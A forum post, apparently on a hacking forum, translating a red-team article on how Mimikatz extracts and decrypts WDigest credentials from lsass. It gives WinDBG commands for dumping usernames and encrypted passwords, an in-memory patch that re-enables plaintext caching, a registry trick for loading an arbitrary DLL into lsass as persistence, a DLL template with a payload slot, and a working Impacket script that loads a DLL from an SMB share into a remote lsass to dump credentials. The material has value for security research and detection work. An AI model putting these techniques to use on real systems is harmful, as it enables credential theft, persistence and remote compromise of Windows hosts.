• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Изучение Mimikatz - Часть 1 - WDigest

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Введение
Мы упаковали его, мы обернули его, мы внедрили его и обработали с помощью Powershell, и теперь мы решили скармливать ему дамп памяти, и все же Mimikatz остается инструментом выбора при извлечении учетных данных из lsass на Windows.
Конечно, это связано с тем, что с каждым новым контролем безопасности, вводимым Microsoft, GentilKiwi всегда находит пару уловок в рукаве. Если вы когда-либо смотрели на усилия, которые вкладываются в Mimikatz, вы сильно удивитесь,
поскольку поддерживаются все версии Windows x86 и x64 (а в последнее время - появилась поддержка Windows на архитектуре ARM). И, конечно же, благодаря успеху Mimikatz на протяжении многих лет, BlueTeam теперь очень хорошо умеет обнаруживать его
использование во многих формах. По сути, выполните Mimikatz на хосте, и если среда хоть сколько-нибудь развита, вас наверняка заметят.

Благодаря моим многочисленным онлайн- и офлайн-разговорам, люди, вероятно, уже знают мои мысли о RedTeam, понимая их инструменты, выходящие за рамки простого выполнения сценария. А поскольку поставщики средств безопасности сокращают и
отслеживают поверхность атаки распространенных уловок часто быстрее, чем мы можем открывать новые методы, знание того, как конкретный метод работает вплоть до вызовов API, может предложить много преимуществ, в том числе избежание обнаружения
в хорошо защищенных средах.

При этом Mimikatz - это инструмент, который в той или иной форме прилагается к большинству наборов инструментов пост-эксплуатации. И хотя некоторые поставщики систем безопасности отслеживают взаимодействие процессов с lsass,
многие другие решили попытаться идентифицировать сам Mimikatz.

Я раздумывал над идеей избавиться от Mimikatz для определенных задач (в основном тех, где извлечение дампа памяти невозможно или не разрешено), но какое-то время меня беспокоило то, что я так долго работал с инструментом, роботу которого на низком
уровне я слабо себе представляю.

Итак, в нескольких сообщениях я хотел изменить это и исследовать магию, начиная с того, где все началось… WDigest. В частности, рассмотрим, как учетные данные в открытом виде фактически кэшируются в lsass и как они извлекаются из памяти с помощью
sekurlsa::wdigest. Это будет означать реверс и отладку, но, надеюсь, к концу вы увидите, что, хотя сложно воспроизвести количество усилий, которые были затрачены на Mimikatz, если ваша цель - использовать только небольшую часть доступных функций,
это может стоить создание специального инструмента на основе исходного кода Mimikatz вместо того, чтобы брать с собой полный набор.

В завершение поста я также рассмотрю некоторые дополнительные методы загрузки произвольных DLL в lsass, которые, надеюсь, можно комбинировать с продемонстрированными примерами кода.

Примечание. В этом посте широко используется исходный код Mimikatz, а также бесчисленные часы, посвященные ему разработчиками. Это усилие должно стать более очевидным, когда вы увидите недокументированные структуры,
которые внезапно обнаруживаются при просмотре кода. Спасибо Mimikatz, Benjamin Delpy и Vincent Le Toux за их потрясающую работу.


И так, как же работат магия sekurlsa::wdigest?

Итак, как уже упоминалось, в этом посте мы рассмотрим WDigest, возможно, функцию, благодаря которой Mimikatz стал самым известным. Кэширование учетных данных WDigest, конечно, было включено по умолчанию до Windows Server 2008 R2,
после чего кеширование учетных данных в виде обычного текста было отключено.

При реверсировании компонента ОС я обычно присоединяю отладчик и проверяю, как он взаимодействует с ОС во время выполнения. К сожалению, в этом случае это будет не так просто, как прикрепить WinDBG к lsass, так как довольно быстро вы увидите,
что Windows останавливается, прежде чем предупредить вас о предстоящей перезагрузке. Вместо этого нам придется подключиться к ядру и переключиться на процесс lsass с Ring-0. Если вы никогда раньше не подключали WinDBG к ядру,
ознакомьтесь с одним из моих предыдущих постов о том, как настроить отладчик ядра здесь.

С подключенным отладчиком ядра нам нужно получить адрес EPROCESS процесса lsass, который можно найти с помощью команды !process 0 0 lsass.exe:
1.png


С определенным адресом EPROCESS (ffff9d01325a7080 выше) мы можем запросить переключение нашего сеанса отладки в контекст процесса lsass:
2.png


Простой lm покажет, что теперь у нас есть доступ к пространству памяти WDigest DLL:
3.png


Если на этом этапе вы обнаружите, что символы обрабатываются некорректно, попробуйте .reload / user.

С подключенным отладчиком давайте углубимся в WDigest.

Погружаемся в wdigest.dll (и немного lsasrv.dll)
Если мы посмотрим на исходный код Mimikatz, мы увидим, что процесс идентификации учетных данных в памяти заключается в сканировании подписей. Давайте воспользуемся возможностью использовать инструмент, который сейчас в моде,
Гидра, и посмотрим, на что охотится Mimikatz.

Поскольку в настоящее время я работаю над Windows 10 x64, я сосредоточусь на подписи PTRN_WIN6_PasswdSet, показанной ниже:
4.png


После предоставления этой поисковой сигнатуры Ghidra мы понимаем, для чего Mimikatz сканирует память:
5.png


6.png


Выше у нас есть функция LogSessHandlerPasswdSet. В частности, подпись ссылается сразу за указателем l_LogSessList. Этот указатель является ключом к извлечению учетных данных из WDigest, но прежде чем уйти вперед,
давайте вернемся назад и выясним, что именно вызывает эту функцию, проверив перекрестные ссылки, что приведет нас сюда:
7.png


Здесь у нас есть SpAcceptCredentials, которая является экспортированной функцией из WDigest.dll, но что она делает?
8.png


Это выглядит многообещающим, поскольку мы видим, что учетные данные передаются через эту функцию обратного вызова. Подтверждаем, что мы попали в нужное место.
В WinDBG мы можем добавить точку останова с помощью bp wdigest! SpAcceptCredentials, после чего мы используем команду runas в Windows для создания оболочки:
9.png


Этого должно быть достаточно, чтобы сработала точка останова. Проверяя аргументы вызова, мы можем увидеть, как в функцию передаются учетные данные:
10.png


Если мы продолжим выполнение и добавим еще одну точку останова в wdigest!LogSessHandlerPasswdSet, мы обнаружим, что, хотя наше имя пользователя передано, параметр, представляющий наш пароль, не может быть виден.
Однако, если мы взглянем непосредственно перед вызовом LogSessHandlerPasswdSet, мы обнаружим следующее:
11.png


На самом деле это заглушка, используемая для Control Flow Guard (похоже, в Ghidra 9.0.3 есть улучшение для отображения заглушек CFG), но если мы проёдемся отладчиком, сразу станет понятно, что на самом деле это вызов LsaProtectMemory:
12.png


Ожидаемый результат, поскольку мы знаем, что учетные данные хранятся в зашифрованном виде в памяти. К сожалению, LsaProtectMemory не предоставляется за пределами lsass, поэтому нам нужно знать, как мы можем воссоздать его
функциональность для расшифровки извлеченных учетных данных. Следование нашему дизассемблеру показывает, что этот вызов на самом деле является просто оболочкой для LsaEncryptMemory:
13.png


А LsaEncryptMemory на самом деле просто обёртка для вызова BCryptEncrypt:
14.png


Интересно, что функция шифрования / дешифрования выбирается в зависимости от длины предоставленного BLOB, который необходимо зашифровать.
Если длина предоставленного буфера делится на 8 (предоставлена побитовой операцией param_2 & 7 на скриншоте выше), то используется AES. В противном случае используется 3Des.

Итак, теперь мы знаем, что наш пароль зашифрован BCryptEncrypt, но как насчет ключа? Что ж, если мы посмотрим выше, мы действительно увидим ссылки на lsasrv!H3DesKey и lsasrv!HAesKey. Отслеживание ссылок на эти адреса показывает,
что lsasrv!LsaInitializeProtectedMemory используется для присвоения каждому начальному значению. В частности, каждый ключ создается на основе вызовов BCryptGenRandom:
15.png


Это означает, что новый ключ генерируется случайным образом каждый раз при запуске lsass, который необходимо извлечь, прежде чем мы сможем расшифровать любые кэшированные учетные данные WDigest.

Вернемся к исходному коду Mimikatz, чтобы убедиться, что мы не сбились с пути, мы видим, что действительно идет охота за функцией LsaInitializeProtectedMemory,
опять же с исчерпывающим списком сигнатур для различных версий и архитектур Windows:
16.png


И если мы поищем это в Ghidra, мы увидим, что он попадает сюда:
17.png


Здесь мы видим ссылку на адрес hAesKey. Таким образом, аналогично поиску по сигнатуре выше, Mimikatz ищет в памяти криптоключи.

Затем нам нужно понять, как Mimikatz извлекает ключи из памяти. Для этого нам нужно обратиться к kuhl_m_sekurlsa_nt6_acquireKey в Mimikatz, в котором подчеркивается, насколько долго этот инструмент поддерживает различные версии ОС.
Мы видим, что hAesKey и h3DesKey (которые имеют тип BCRYPT_KEY_HANDLE, возвращаемый из BCryptGenerateSymmetricKey) фактически указывают на структуру в памяти, состоящую из полей, включая сгенерированные симметричные ключи AES и 3DES.
Эту структуру можно найти в документации Mimikatz:
C++:
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
    ULONG size;
    ULONG tag;    // 'UUUR'
    PVOID hAlgorithm;
    PKIWI_BCRYPT_KEY key;
    PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;

Мы можем сопоставить это с WinDBG, чтобы убедиться, что мы на правильном пути, проверив тег «UUUR», упомянутый выше:
18.png


По смещению 0x10 мы видим, что Mimikatz ссылается на PKIWI_BCRYPT_KEY, который имеет следующую структуру:
C++:
typedef struct _KIWI_BCRYPT_KEY81 {
    ULONG size;
    ULONG tag;    // 'MSSK'
    ULONG type;
    ULONG unk0;
    ULONG unk1;
    ULONG unk2;
    ULONG unk3;
    ULONG unk4;
    PVOID unk5;    // before, align in x64
    ULONG unk6;
    ULONG unk7;
    ULONG unk8;
    ULONG unk9;
    KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;

И если немного пройтись WinDBG, то сразу обнаруживается тот же тег, на который есть ссылка:
19.png


Последний член этой структуры - это ссылка на Mimikatz с именем KIWI_HARD_KEY, которая содержит следующее:
C++:
typedef struct _KIWI_HARD_KEY {
    ULONG cbSecret;
    BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;

Эта структура состоит из размера ключа в виде cbSecret, за которым следует фактический ключ в поле данных.
Это означает, что мы можем использовать WinDBG для извлечения этого ключа с помощью:
20.png


Это дает нам h3DesKey длиной 0x18 байт, состоящий из
Код:
b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a.

Зная это, мы можем выполнить тот же процесс для извлечения hAesKey:
21.png


Теперь, когда мы понимаем, как извлекаются ключи, нам нужно найти фактические учетные данные, кэшированные WDigest. Вернемся к указателю l_LogSessList, который мы обсуждали ранее.
Это поле соответствует связанному списку, который мы можем просмотреть с помощью команды WinDBG! List -x "dq @ $ extret" poi (wdigest! L_LogSessList):
22.png


Структура этих записей содержит следующие поля:
C++:
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
    struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
    struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
    ULONG    UsageCount;
    struct _KIWI_WDIGEST_LIST_ENTRY *This;
    LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;

За этой структурой следуют три поля LSA_UNICODE_STRING со следующими смещениями:
  • 0x30 - Username
  • 0x40 - Hostname
  • 0x50 - Зашифрованый пароль
Снова мы можем проверить, что мы на правильном пути с WinDBG, используя такую команду:
Bash:
!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)

Эта команда дампует кешированные имена пользователей:
23.png


И, наконец, мы можем дампануть зашифрованный пароль, используя аналогичную команду:
Bash:
!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)
24.png


Вот и все, что нужно для извлечения учетных данных WDigest из памяти.

Итак, теперь, когда у нас есть вся информация, необходимая для процесса извлечения и дешифрования, насколько возможно было бы объединить все это в небольшой автономный инструмент вне Mimikatz?
Чтобы изучить это, я создал хорошо прокомментированный POC, который доступен здесь. При запуске в Windows 10 x64 (сборка 1809) он предоставляет подробную информацию о процессе извлечения кредитов:
25.png


Ни в коем случае не следует считать это безопасным для OpSec, но мы надеемся, что это станет примером того, как мы можем создавать альтернативные инструменты.

Теперь, когда мы понимаем, как кэшированные учетные данные WDigest захватываются и дешифруются, мы можем перейти к другой области,
влияющей на сбор учетных данных в виде обычного текста, «UseLogonCredential».

Но UseLogonCredential равно 0
Итак, как мы знаем, когда все бегают вокруг сброса учетных данных в открытом виде, Microsoft решила по умолчанию отключить поддержку этого устаревшего протокола. Конечно, будут некоторые пользователи, которые могут использовать WDigest,
поэтому, чтобы предоставить возможность повторного включения этого, Microsoft указала на раздел реестра HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest \ UseLogonCredential.
Переключение этого параметра с «0» на «1» заставляет WDigest снова начать кэширование учетных данных, что, конечно, означало, что пентестеры вернулись в игру ... однако была загвоздка, переключение этого параметра требовало перезагрузки ОС,
и я еще не встретить клиента, который позволил бы это за пределами тестовой среды.

Возникает очевидный вопрос ... зачем вам перезагружать машину, чтобы изменение вступило в силу?


Дополнение: Как указано GentilKiwi, перезагрузка не требуется, чтобы это изменение вступило в силу. Я добавил обзор того, почему это происходит, в конце этого раздела.

Давайте еще раз взглянем на SpAcceptCredentials, и после небольшого поиска мы обнаружим следующее:
26.png


Здесь мы ясно видим, что есть проверка двух условий с использованием глобальных переменных. Если для g_IsCredGuardEnabled установлено значение 1 или для g_fParameter_UseLogonCredential установлено значение 0, мы обнаруживаем,
что путь кода используется через LogSessHandlerNoPasswordInsert, а не через вышеуказанный вызов LogSessHandlerPasswdSet. Как следует из названия, эта функция кэширует сеанс, но не пароль, что приводит к поведению,
с которым мы обычно сталкиваемся при открытии окон Windows 2012+. Поэтому разумно предположить, что эта переменная управляется указанным выше значением ключа реестра на основе ее имени, и мы обнаруживаем,
что это так, отслеживая ее назначение:
27.png


Понимая, какие переменные в WDigest.dll контролируют кеширование учетных данных, можем ли мы изменить это, не обновляя реестр?
Что, если мы обновим этот параметр g_fParameter_UseLogonCredential во время выполнения с помощью нашего отладчика?
28.png


Возобновляя выполнение, мы видим, что кешированные учетные данные снова сохраняются:
29.png


Конечно, большинство вещей возможно, когда у вас подключен отладчик ядра, но если у вас есть способ манипулировать памятью lsass без запуска AV / EDR (см. Наш предыдущий пост в блоге Cylance для одного примера того,
как вы это сделаете), тогда ничто не мешает вам создать инструмент для управления этой переменной. Я снова создал очень подробный инструмент, чтобы продемонстрировать, как это можно сделать, который можно найти здесь.

Этот пример будет искать и обновлять значение g_fParameter_UseLogonCredential в памяти. Если вы работаете с системой, защищенной с помощью Credential Guard, модификации, необходимые для обновления этого значения,
являются тривиальными и оставлены в качестве упражнения для читателя.

После выполнения нашего POC мы обнаруживаем, что WDigest теперь был повторно включен без необходимости устанавливать ключ реестра, что позволяет нам извлекать учетные данные по мере их кэширования:
30.png


Опять же, этот POC не следует рассматривать как безопасный для OpSec, а следует использовать как подробный пример того, как вы можете создать свой собственный.

Конечно, этот метод включения WDigest сопряжен с рисками, в основном с вызовом WriteProcessMemory в lsass, но, если он подходит для среды, он предлагает хороший способ включить WDigest без установки значения реестра.
Существуют также другие методы получения учетных данных в виде обычного текста, которые могут быть более подходящими для вашей цели за пределами WDigest (например, memssp, который мы рассмотрим в следующей публикации).

Дополнение: как указал GentilKiwi, перезагрузка не требуется, чтобы UseLogonCredential вступил в силу ... так что вернемся к дизассемблеру.

Просматривая другие места, ссылающиеся на значение реестра, мы находим wdigest!DigestWatchParamKey, который отслеживает ряд ключей, включая:
31.png


API Win32, используемый для запуска этой функции при обновлении - RegNotifyKeyChangeValue:
32.png


И если мы добавим точку останова на wdigest!DigestWatchParamKey в WinDBG, мы увидим, что это срабатывает, когда мы пытаемся добавить UseLogonCredential:
33.png


Бонусный раунд - загрузка произвольной DLL в LSASS
Итак, копаясь в дизассемблере, я хотел найти альтернативный способ загрузки кода в lsass, избегая при этом потенциально связанных вызовов Win32 API, или путем загрузки SSP.
После небольшой разборки в lsasrv.dll я обнаружил следующее:
34.png


Эта попытка вызвать LoadLibraryExW для заданного пользователем значения может быть найдена в функции LsapLoadLsaDbExtensionDll и позволяет нам создать DLL для загрузки в процесс lsass, например:
C++:
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:

        // Insert l33t payload here

        break;
    }

    // Important to avoid BSOD
    return FALSE;
}

Важно, чтобы в конце функции DllMain мы возвращали FALSE, чтобы вызвать ошибку LoadLibraryEx. Это сделано для того, чтобы избежать последующего вызова GetProcAddress.
Несоблюдение этого правила приведет к BSOD при перезагрузке до тех пор, пока не будет удалена DLL или раздел реестра.

После создания DLL все, что нам нужно сделать, это создать указанный выше раздел реестра:
Bash:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"

Загрузка библиотеки DLL будет происходить при перезагрузке системы, что делает ее потенциальной техникой сохранения для привилегированных компромиссов,
передавая вашу полезную нагрузку прямо в lsass (если, конечно, PPL не включен).

Бонусный раунд 2 - удаленная загрузка произвольной DLL в LSASS
После некоторого дальнейшего поиска в samsrv.dll был обнаружен вектор, аналогичный приведенному выше.
И снова контролируемое значение реестра загружается в lsass с помощью вызова LoadLibraryEx:
35.png


Опять же, мы можем использовать это, добавив раздел реестра и перезагрузившись, однако запустить этот случай намного проще, поскольку его можно запустить с помощью вызовов SAMR RPC.

Давайте немного повеселимся, используя приведенный выше код извлечения учетных данных WDigest для создания библиотеки DLL, которая будет сбрасывать учетные данные для нас.

Чтобы загрузить нашу DLL, мы можем использовать очень простой скрипт Impacket Python, чтобы изменить реестр и добавить ключ в HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt, указывающий на нашу DLL,
размещенную в открытом общем SMB-ресурсе, а затем запустить загрузку библиотеки DLL, используя вызов hSamConnect RPC. Код выглядит так:
Python:
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr
from impacket.smbconnection import SMBConnection

def trigger_samr(remoteHost, username, password):

    print("[*] Connecting to SAMR RPC service")

    try:
        rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "")
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(samr.MSRPC_UUID_SAMR)
    except (Exception) as e:
        print("[x] Error binding to SAMR: %s" % e)
        return

    print("[*] Connection established, triggering SamrConnect to force load the added DLL")

    # Trigger
    samr.hSamrConnect(dce)

    print("[*] Triggered, DLL should have been executed...")

def start(remoteName, remoteHost, username, password, dllPath):

    winreg_bind = r'ncacn_np:445[\pipe\winreg]'
    hRootKey = None
    subkey = None
    rrpclient = None

    print("[*] Connecting to remote registry")

    try:
        rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "")
    except (Exception) as e:
        print("[x] Error establishing SMB connection: %s" % e)
        return

    try:
        # Set up winreg RPC
        rrpclient = rpctransport.get_dce_rpc()
        rrpclient.connect()
        rrpclient.bind(rrp.MSRPC_UUID_RRP)
    except (Exception) as e:
        print("[x] Error binding to remote registry: %s" % e)
        return

    print("[*] Connection established")
    print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr")

    try:
        # Add a new registry key
        ans = rrp.hOpenLocalMachine(rrpclient)
        hRootKey = ans['phKey']
        subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS")
        rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath)
    except (Exception) as e:
        print("[x] Error communicating with remote registry: %s" % e)
        return

    print("[*] Registry value created, DLL will be loaded from %s" % (dllPath))

    trigger_samr(remoteHost, username, password)

    print("[*] Removing registry entry")
   
    try:
        rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt")
    except (Exception) as e:
        print("[x] Error deleting from remote registry: %s" % e)
        return

    print("[*] All done")

print("LSASS DirectoryServiceExtPt POC\n     @_xpn_\n")




start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll")

И на практике мы можем видеть учетные данные, извлеченные из памяти:
36.png

*В оригинале стоит asciinema, на фото только результат

Здесь можно найти код используемой библиотеки DLL, который является модификацией предыдущего примера.

Надеюсь, этот пост дал вам представление о том, как работает кэширование учетных данных WDigest и как Mimikatz извлекает и расшифровывает пароли во время "sekurlsa :: wdigest".
Что еще более важно, я надеюсь, что это поможет любому, кто хочет создать что-то нестандартное для следующего экзамена. Я продолжу изучать другие области, которые обычно используются во время помолвки,
но если у вас есть какие-либо вопросы или предложения, обращайтесь ко мне в обычных местах.

От ТС
Эта статья является переводом вот этой статьи
В блоге автора есть вторая часть, так что если первая вас заинтересовала то дайте мне знать.
Если у вас есть статьи на примете, не стесняйтесь и кидайте сюда.

Перевод:
Azrv3l cпециально для xss.pro
 

Вложения

  • 35.png
    35.png
    22.7 КБ · Просмотры: 12
  • 32.png
    32.png
    6.4 КБ · Просмотры: 15
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх